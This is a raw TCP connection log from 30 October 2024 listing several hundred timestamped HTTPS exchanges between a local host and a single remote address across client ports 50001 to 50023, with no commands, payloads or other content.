Oct 30, 2024 20:14:50.035238981 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.035244942 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.089932919 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.090002060 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.090046883 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.090212107 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.090228081 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.090240002 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.090245008 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.092727900 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.092765093 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.092838049 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.092969894 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.092977047 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.114130974 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.114552975 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.114562035 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.114984035 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.114989042 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.183185101 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.183232069 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.183286905 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.183303118 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.183453083 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.183466911 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.183475971 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.183496952 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.183506012 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.183521986 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.185641050 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.185676098 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.185751915 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.185885906 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.185903072 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.250646114 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.250884056 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.250941992 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.250983000 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.250988960 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.250998974 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.251003027 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.252969027 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.253017902 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.253091097 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.253210068 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.253226042 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.803910017 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.804502964 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.804529905 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.804959059 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.804965019 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.809731960 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.809993982 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.810014963 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.810344934 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.810348988 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.815140009 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.815452099 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.815459013 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.815856934 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.815860987 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.915764093 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.916277885 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.916286945 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.916735888 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.916739941 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.935703993 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.935730934 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.935794115 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.935801029 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.935863018 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.935908079 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.936033010 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.936044931 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.936062098 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.936067104 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.938646078 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.938669920 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.938751936 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.938900948 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.938908100 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.942238092 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.942261934 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.942306995 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.942322969 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.942567110 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.942574978 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.942583084 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.942584038 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.942629099 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.944556952 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.944605112 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.944678068 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.944808006 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.944823027 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.944827080 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.944842100 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.944889069 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.944897890 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.944933891 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.945070982 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.945084095 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.945094109 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.945099115 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.946990013 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.947005987 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:50.947074890 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.947201967 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:50.947212934 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.039560080 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.040005922 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.040021896 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.040469885 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.040474892 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.043472052 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.043570042 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.043613911 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.043622017 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.043735027 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.043754101 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.043765068 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.043788910 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.043795109 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.043807030 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.046263933 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.046350002 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.046439886 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.046595097 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.046632051 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.177762032 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.178225994 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.178281069 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.178337097 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.178353071 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.178364992 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.178371906 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.181067944 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.181103945 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.181179047 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.181299925 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.181318045 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.776618004 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.779109955 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.779402018 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.779418945 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.779743910 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.779748917 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.780112028 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.780136108 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.780450106 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.780457020 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.783252954 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.783485889 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.783493042 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.783808947 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.783813953 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.802537918 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.802969933 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.803030014 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.803402901 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.803416967 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.906936884 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.906985998 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.907092094 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.907396078 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.907409906 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.907418966 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.907423019 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.910164118 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.910227060 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.910326958 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.910471916 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.910500050 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.912292957 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.912590027 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.912606955 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.912980080 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.912988901 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.913012028 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.913058043 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.913101912 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.913191080 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.913208008 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.913220882 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.913227081 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.915179968 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.915205956 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.915277958 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.915401936 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.915417910 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.921184063 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.921236038 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.921282053 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.921360970 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.921370029 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.921410084 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.921413898 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.923252106 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.923280954 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.923351049 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.923470020 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.923480988 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.934398890 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.934427023 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.934483051 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.934504032 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.934561014 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.934665918 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.934665918 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.934681892 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.934849977 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.934886932 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.934927940 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.936456919 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.936477900 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:51.936548948 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.936676025 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:51.936688900 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.050887108 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.050921917 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.050970078 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.051206112 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.051206112 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.051207066 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.051207066 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.053555965 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.053574085 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.053644896 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.053787947 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.053797007 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.364326000 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.364356995 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.654073954 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.654555082 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.654643059 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.654985905 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.655000925 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.657140970 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.657558918 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.657572031 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.657928944 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.657936096 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.670227051 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.670526981 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.670538902 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.670885086 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.670888901 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.693073988 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.693376064 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.693389893 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.693738937 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.693744898 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.790889978 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.790908098 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.790958881 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.790972948 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.791053057 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.791192055 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.791204929 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.791219950 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.791227102 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.793622017 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.793639898 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.793706894 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.793831110 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.793836117 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.799971104 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.800385952 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.800405979 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.800847054 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.800852060 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.803953886 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.804020882 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.804084063 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.804091930 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.804128885 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.804132938 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.804176092 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.804847956 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.804847956 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.804856062 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.804863930 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.808250904 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.808295965 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.808360100 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.808456898 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.808465958 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.903404951 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.903430939 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.903445005 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.903539896 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.903574944 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.903650045 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.904701948 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.904747009 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.904778004 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.904807091 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.904865026 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.904865026 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.904896975 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.904920101 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.907440901 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.907469988 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.907537937 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.907668114 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.907674074 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.934633017 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.934653997 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.934720039 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.934731960 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.934794903 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.934839964 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.934930086 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.934943914 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.934953928 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.934957981 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.937109947 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.937136889 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.937207937 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.937340975 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.937345982 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.957092047 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.957110882 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.957124949 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.957181931 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:52.957189083 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:52.957231998 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.079833031 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.079893112 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.079931974 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.079948902 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.079961061 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.079961061 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.079986095 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.080029011 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.080159903 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.080172062 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.080185890 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.080190897 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.082664013 CET	50023	443	192.168.2.4	13.107.246.45
